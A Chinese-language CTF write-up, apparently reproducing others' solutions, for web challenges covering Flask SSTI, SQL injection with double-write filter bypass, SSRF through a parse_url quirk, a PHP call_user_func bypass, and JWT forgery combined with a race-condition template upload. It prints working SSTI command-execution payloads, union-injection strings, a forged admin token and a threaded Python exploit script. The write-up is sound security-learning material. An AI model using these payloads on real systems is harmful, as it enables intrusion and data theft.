本文最后更新于 2025-06-10T00:12:07+08:00
借鉴大佬的WP进行的复现:https://www.yuque.com/lrving-idamg/ewng72/fgbuc2b4gie52iy0?singleDoc#ezweb1
ezflask 看题目就知道是flask写的,大概率是SSTI
测试发现是SSTI,GET传参name
,使用bp爆出过滤掉的字符如下
过滤了点.
:可以使用中括号绕过
过滤了popen
:可以进行十六进制编码绕过,后面发现cat flag
也被过滤了,同样也是进行编码绕过
使用脚本找到可用的类,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 import requests url = 'http://27.25.151.26:56881/?name=' for i in range (500 ): param = f"()['__class__']['__base__']['__subclasses__']()[{i} ]" try : fin_url = url + "{{" + param + "}}" response = requests.get(fin_url) if response.status_code == 200 : if 'os._wrap_close' in response.text: print (i) except : pass
目标paylaod
1 {{ ()['__class__' ] ['__base__' ] ['__subclasses__' ] ()[133] ['__init__' ] ['__globals__' ] ['popen' ] ('cat /flag')['read' ] () }}
最终payload为
1 {{ ()['__class__' ] ['__base__' ] ['__subclasses__' ] ()[133] ['__init__' ] ['__globals__' ] ['\x70\x6f\x70\x65\x6e' ] ('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')['read' ] () }}
ezjs 游戏题就看js代码,可以在main.js
中看到关于获取flag的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (scoreNow === 100000000000 ) { fetch ('getflag.php' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' , }, body : 'score=' + scoreNow }) .then (response => response.text ()) .then (data => { alert ("恭喜你!flag是:" + data); }) .catch (error => { console .error ('错误:' , error); }); }
要满足分数达到100000000000,就会向getflag.php
发送POST请求获取flag,所以可以直接在控制台输入if
函数中请求的代码,将其中的scoreNow
替换成100000000000,即可获取flag
1 2 3 4 5 6 7 8 9 10 11 fetch ('getflag.php' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, body : 'score=' + 100000000000 }) .then (response => response.text ()) .then (data => { alert ("恭喜你!flag是:" + data); })
也可以使用bp抓包发送POST请求
ezrce 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php error_reporting (0 );highlight_file (__FILE__ );function waf ($a ) { $disable_fun = array ( "exec" , "shell_exec" , "system" , "passthru" , "proc_open" , "show_source" , "phpinfo" , "popen" , "dl" , "proc_terminate" , "touch" , "escapeshellcmd" , "escapeshellarg" , "assert" , "substr_replace" , "call_user_func_array" , "call_user_func" , "array_filter" , "array_walk" , "array_map" , "register_shutdown_function" , "register_tick_function" , "filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" , "array_walk" , "array_walk_recursive" , "pcntl_exec" , "fopen" , "fwrite" , "file_put_contents" , "readfile" , "file_get_contents" , "highlight_file" , "eval" ); $disable_fun = array_map ('strtolower' , $disable_fun ); $a = strtolower ($a ); if (in_array ($a , $disable_fun )) { echo "宝宝这对嘛,这不对噢" ; return false ; } return $a ; }$num = $_GET ['num' ];$new = $_POST ['new' ];$star = $_POST ['star' ];if (isset ($num ) && $num != 1234 ) { echo "看来第一层对你来说是小case<br>" ; if (is_numeric ($num ) && $num > 1234 ) { echo "还是有点实力的嘛<br>" ; if (isset ($new ) && isset ($star )) { echo "看起来你遇到难关了哈哈<br>" ; $b = waf ($new ); if ($b ) { call_user_func ($b , $star ); echo "恭喜你,又成长了<br>" ; } } } }?>
GET传参num
,要求为数字并且大于1234,直接1235
POST传参new
和star
,其中new
的内容会经过waf
函数的检查,最后这两个参数会当作参数传给call_user_func()
函数,且本函数无回显
看大佬的WP才知道readgzfile
这个函数,长见识了
new
为readgzfile
,star
为读取的文件路径
1 2 3 ?num =1235new =readgzfile&star=/flag
ezsql1.0 SQL注入,用bp爆出以下waf
空格过滤可以使用/**/
绕过,字符串过滤可以进行双写绕过,这里是数字型注入
常规的联合注入
1 -1 union seselectlect1 ,2 ,database ()#
1 -1 union selselectect1 ,2 ,group_concat(table_name )from information_schema.tables where table_schema=database ()#
1 -1 union selselectect1 ,2 ,group_concat(column_name )from information_schema.columns where table_name ='flag' #
1 -1 union selselectect1 ,2 ,group_concat(id,data)from flag
不过这是个假的flag,flag不在当前数据库,就去看看其他数据库
1 -1 union selselectect1 ,2 ,group_concat(schema_name)from information_schema.schemata
可以看到还有一个xuanyuanCTF
数据库,重新再来一遍联合注入
1 -1 union selselectect1 ,2 ,group_concat(table_name )from information_schema.tables where table_schema='xuanyuanCTF' #
1 -1 union selselectect*from xuanyuanCTF.info
最后一个base64解码即可
ezssrf1.0 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );highlight_file (__FILE__ );$url = $_GET ['url' ];if ($url == null ) die ("Try to add ?url=xxxx." );$x = parse_url ($url );if (!$x ) die ("(;_;)" );if ($x ['host' ] === null && $x ['scheme' ] === 'http' ) { echo ('Well, Going to ' . $url ); $ch = curl_init ($url ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $result = curl_exec ($ch ); curl_close ($ch ); echo ($result ); } else echo "(^-_-^)" ;
GET传参url
,要求满足host
为null
,scheme
为http
,就是只能使用http
协议请求,明显的SSRF
因为要满足host
为null
,所以正常的访问是不可以的
注意代码中使用parse_url
函数对输入的IP(如:http://127.0.0.1)进行解析,会将`host`解析为`127.0.0.1`,`scheme`为`http`
当只使用一个斜线/
时,由于缺少 //
,parse_url()
会将整个路径视为 path
,而非 host
,所以可以构造以下paylaod
1 ?url =http:/127.0.0.1/flag
得到提示flag在FFFFF11111AAAAAggggg.php
文件中
1 ?url =http:/127.0.0.1/FFFFF11111AAAAAggggg.php
还有个非预期吧,直接用dirsearch
扫描目录可以扫出/flag
然后再浏览器里直接访问这个路由会下载得到flag
文件
访问/FFFFF11111AAAAAggggg.php
获得flag
ez_web1 先看源码,会得到个fly233
用户
用bp进行弱密码爆破,得到密码是123456789
然后会来到下面这里
访问上面三个会进入/read
路由,会得到下面这些,是提示JWT,条件竞争
并且存在POST参数book_path
测试后发现可以进行任意文件读取
还有一个上传图书的按钮,访问是上传文件
不过需要管理员权限,这里的cookie
里是JWT
根据文件内容,想到利用JWT
伪造成admin
,密钥可以通过读取环境变量获取
得到key
为th1s_1s_k3y
,在线网站解刚才上传文件时候的cookie
利用key
进行构造
1 eyJhbGciOiJIUzI1 NiIsInR5 cCI6 IkpXVCJ9 .eyJ1 c 2 VybmFtZSI6 ImFkbWluIn0 .EYrwzSGzfGe_PMnw-Wl4 Ymt_QuMtyApHi57 DMcZ7e3 U
再去上传文件,发现存在waf
可以利用刚才任意读取文件漏洞读取源码,注意到响应里有python,可以猜到源码在/app/app.py
浏览器读取会立刻跳转,用bp抓包读
得到源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from flask import Flask, render_template, request, redirect, url_for, make_response, jsonifyimport osimport reimport jwt app = Flask(__name__, template_folder='templates' ) app.config['TEMPLATES_AUTO_RELOAD' ] = True SECRET_KEY = os.getenv('JWT_KEY' ) book_dir = 'books' users = {'fly233' : '123456789' }def generate_token (username ): payload = { 'username' : username } token = jwt.encode(payload, SECRET_KEY, algorithm='HS256' ) return tokendef decode_token (token ): try : payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256' ]) return payload except jwt.ExpiredSignatureError: return None except jwt.InvalidTokenError: return None @app.route('/' ) def index (): token = request.cookies.get('token' ) if not token: return redirect('/login' ) payload = decode_token(token) if not payload: return redirect('/login' ) username = payload['username' ] books = [f for f in os.listdir(book_dir) if f.endswith('.txt' )] return render_template('./index.html' , username=username, books=books)@app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'GET' : return render_template('./login.html' ) elif request.method == 'POST' : username = request.form.get('username' ) password = request.form.get('password' ) if username in users and users[username] == password: token = generate_token(username) response = make_response(jsonify({ 'message' : 'success' }), 200 ) response.set_cookie('token' , token, httponly=True , path='/' ) return response else : return {'message' : 'Invalid username or password' }@app.route('/read' , methods=['POST' ] ) def read_book (): token = request.cookies.get('token' ) if not token: return redirect('/login' ) payload = decode_token(token) if not payload: return redirect('/login' ) book_path = request.form.get('book_path' ) full_path = os.path.join(book_dir, book_path) try : with open (full_path, 'r' , encoding='utf-8' ) as file: content = file.read() return render_template('reading.html' , content=content) except FileNotFoundError: return "文件未找到" , 404 except Exception as e: return f"发生错误: {str (e)} " , 500 @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload (): token = request.cookies.get('token' ) if not token: return redirect('/login' ) payload = decode_token(token) if not payload: return redirect('/login' ) if request.method == 'GET' : return render_template('./upload.html' ) if payload.get('username' ) != 'admin' : return """ <script> alert('只有管理员才有添加图书的权限'); window.location.href = '/'; </script> """ file = request.files['file' ] if file: book_path = request.form.get('book_path' ) file_path = os.path.join(book_path, file.filename) if not os.path.exists(book_path): return "文件夹不存在" , 400 file.save(file_path) with open (file_path, 'r' , encoding='utf-8' ) as f: content = f.read() pattern = r'[{}<>_%]' if re.search(pattern, content): os.remove(file_path) return """ <script> alert('SSTI,想的美!'); window.location.href = '/'; </script> """ return redirect(url_for('index' )) return "未选择文件" , 400
因为存在waf
:pattern = r'[{}<>_%]'
所以不能上传,还久就是如果前面想不到key在环境变量里,从得到的源码中就可以看出来了
注意到下面这段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def read_book (): token = request.cookies.get ('token' ) if not token: return redirect ('/login' ) payload = decode_token (token) if not payload: return redirect ('/login' ) book_path = request.form.get ('book_path' ) full_path = os.path.join (book_dir, book_path) try : with open (full_path, 'r' , encoding='utf-8' ) as file: content = file.read () return render_template ('reading.html' , content=content) except FileNotFoundError: return "文件未找到" , 404 except Exception as e: return f"发生错误: {str(e)}" , 500
1 2 3 with open (full_path, 'r' , encoding='utf-8' ) as file: content = file.read () return render_template ('reading.html' , content=content)
这里发现可以打templates
渲染,渲染reading.html
,因为这里直接将文件内容作为变量传递给reading.html
模板进行渲染,可以打SSTI执行代码命令,利用之前的任意文件读取漏洞读取渲染后的结果
既然是渲染模板,猜测路径是/app/templates/reading.html
,先读取看看
很明显前面的思路没错,但是waf
中禁用了[{}<>_%]
这些怎么办?题目原本的文章给出了提示:打条件竞争,即利用bp发包,一个不断的发文件上传的包,另一个不断发读取reading.html
的包,从而可以绕过waf
,获取到命令执行的结果
首先可以获取刚才读取的/app/templates/reading.html
的源码为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > 图书阅读</title > <style > body { font-family : '楷体' , serif; background-color : #f5f5f5 ; display : flex; flex-direction : column; justify-content : center; align-items : center; min-height : 100vh ; margin : 0 ; } .page-title { font-size : 36px ; font-weight : bold; color : #333 ; margin-bottom : 20px ; } .book-content { background-color : white; padding : 40px ; border-radius : 10px ; box-shadow : 0 0 20px rgba (0 , 0 , 0 , 0.1 ); max-width : 90% ; width : 90% ; line-height : 1.8 ; font-size : 20px ; text-align : center; } </style > </head > <body > <div class ="book-content" > {{ content|safe }} </div > </body > </html >
对其进行修改,主要就是修改{{ content|safe }}
这个部分,改成以下内容
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].eval ("__import__('os').popen('cat /f*').read()" ) }}{% endif %}{% endfor %}
解析
1 2 3 4 5 6 7 8 9 10 11 12 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__' ].eval ("__import__('os').popen('cat /f*').read()" ) }} {% endif %} {% endfor %}
最终上传的内容为
1 2 3 4 5 6 7 8 <!DOCTYPE html > <html > <body > <div class ="book-content" > {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()") }}{% endif %}{% endfor %} </div > </body > </html >
利用bp中的Intruder发包,可以在cookie
中新增一个变量,从而可以添加payload进行发包,还有就是要注意修改JWT为之前构造成admin
的
注意改写文件上传到的路径是/app/templates/
然后是读取文件内容的发包,同样在cookie中添加一个新变量用于添加payload,实现读取/app/templates/reading.html
最后就是两个同时开始发包,不过我的bp没爆出来,大概思路是这样的吧,有错误求指出!!!
直接写python脚本发包,一秒就出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import threadingimport requestsimport time url_read = "http://27.25.151.26:30673/read" url_upload = "http://27.25.151.26:30673/upload" stop_event = threading.Event() headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Referer" : "http://27.25.151.26:30673/" , "Cookie" : "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.EYrwzSGzfGe_PMnw-Wl4Ymt_QuMtyApHi57DMcZ7e3U" } read_data = { "book_path" : "/app/templates/reading.html" }def upload_file (): payload = ''' <!DOCTYPE html><html><body><div class="book-content"> {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()") }}{% endif %}{% endfor %} </div></body></html> ''' files = { "file" : ("reading.html" , payload, "image/jpeg" ), "book_path" : (None , "/app/templates/" ) } while not stop_event.is_set(): try : r = requests.post(url_upload, headers=headers, files=files, timeout=5 ) print ("[UPLOAD]" , r.status_code) except Exception as e: print ("[UPLOAD] 错误:" , e) time.sleep(0.1 )def send_read (): while not stop_event.is_set(): try : r = requests.post(url_read, headers=headers, data=read_data, timeout=5 ) print ("[READ]" , r.status_code) if "flag" in r.text or "CTF" in r.text or "{" in r.text: print ("获取到 flag:\n" , r.text) stop_event.set () except Exception as e: print ("[READ] 错误:" , e) time.sleep(0.1 )def attack_thread (): threading.Thread(target=upload_file).start() threading.Thread(target=send_read).start()if __name__ == "__main__" : for _ in range (100 ): threading.Thread(target=attack_thread).start()
签到 第一关:GET传参a
,值为welcome
,POST传参b
,值为new
,cookie
里的star
值改为admin
第二关/l23evel4.php
:GET传参password
,值为2025a
第三关/levelThree.php
:加Referer
头,还有POST传参key
第四关/level444Four.php
:请求方法换成HEAD
,改User-Agent
头为identity=n1c3
第五关/level4545Five.php
:直接AI出密码
第六关/zzpufinish.php
:发现cat
和flag
被禁了,直接用nl /*